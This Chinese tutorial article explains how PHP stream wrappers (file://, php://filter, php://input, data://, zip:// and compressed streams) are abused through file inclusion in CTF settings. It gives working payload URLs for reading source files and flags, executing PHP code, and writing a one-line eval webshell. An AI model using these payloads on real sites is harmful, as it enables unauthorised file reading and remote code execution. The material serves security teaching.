php偽協議實現命令執行詳情
1.file://協議
條件:
allow_url_fopen : off/on allow_url_include: off/on
作用:
用於訪問本地文件系統,在ctf中通常用來讀取本地文件
在include() / require() / include_once() / require_once()
參數可控的情況下,即使導入非.php文件,如shell.txt ,依然按照php語法進行解析,這是include()函數所決定的
說明:
file:// 文件系統是php使用的默認封裝協議,用於展示本地文件系統。
用法:
/path/to/file.ext relative/path/to/file.ext fileInCwd.ext C:/path/to/winfile.ext C:\path\to\winfile.ext \\smbserver\share\path\to\winfile.ext file:///path/to/file.ext
示例:
1.file://[文件的絕對路徑和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2.file://[文件的相對路徑和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
3.http://網絡位置和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
2.php://協議
條件:
allow_url_open : off/on allow_url_include: 僅 php://input php://stdin php://memory php://temp 需要on
作用:
php:// 訪問各個輸入/輸出流 (I/O streams), 在ctf中經常使用的是 php://filter 和 php://input
php://filter 用於讀取源碼 php://input 用於執行php代碼
說明:
php提供瞭一些雜項輸入/輸出(IO)流,允許訪問 PHP 的輸入輸出流,標準輸入輸出流和錯誤描述符:
php://filter使用:
php://filter/read=convert.base64-encode/resource=[文件名]
php://input的使用:
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>
寫入一句話
http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
3.data://協議
作用:
php>=5.2.0 , 可以使用data://數據流封裝器,以傳遞相應格式的數據。通常用來執行php代碼
用法:
data://text/plain, ???
如:
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
4.zip:// & bzip:// & zlib:// 協議
作用:
zip:// & bzip:// & zlib:// 均屬於壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定後綴名,可以修改為任意後綴名,如 jpg,png,gif,xxx等
示例:
1.zip://[壓縮文件絕對路徑]%23[壓縮文件內的子文件文件名](# 的編碼為 %23)
壓縮 phpinfo.txt 為phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,並上傳
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
2.compress.bzip2://file.bz2
壓縮phpinfo.txt 為phpinfo.bz2 並上傳(同樣支持任意後綴名)
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
3.compress.zlib://file.gz
壓縮phpinfo.txt 為phpinfo.gz 並上傳(支持任意後綴名)
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
總結
在ctf中常用的有data:// , php://input , php://filter ,file://
php://input ,data://用來執行命令 1.php://input 的用法 http://127.0.0.1/include.php?file=php://input [POST DATA部分] <?php phpinfo(); ?> 2.data://用法 http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> php://filter,file://用來讀取文件 3.php://filter用法 http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php(讀取php文件需要先加密以下才能讀出來) http://127.0.0.1/include.php?file=php://filter/resource=/flag 4.file://用法 http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
到此這篇關於php偽協議實現命令執行詳情的文章就介紹到這瞭,更多相關php命令執行內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!
推薦閱讀:
- php fopen()函數案例詳解
- 詳解PHP如何讀取大文件
- php使用file_get_contents(‘php://input‘)和$_POST的區別實例對比
- PHP引擎php.ini參數優化深入講解
- Hadoop中的壓縮與解壓縮案例詳解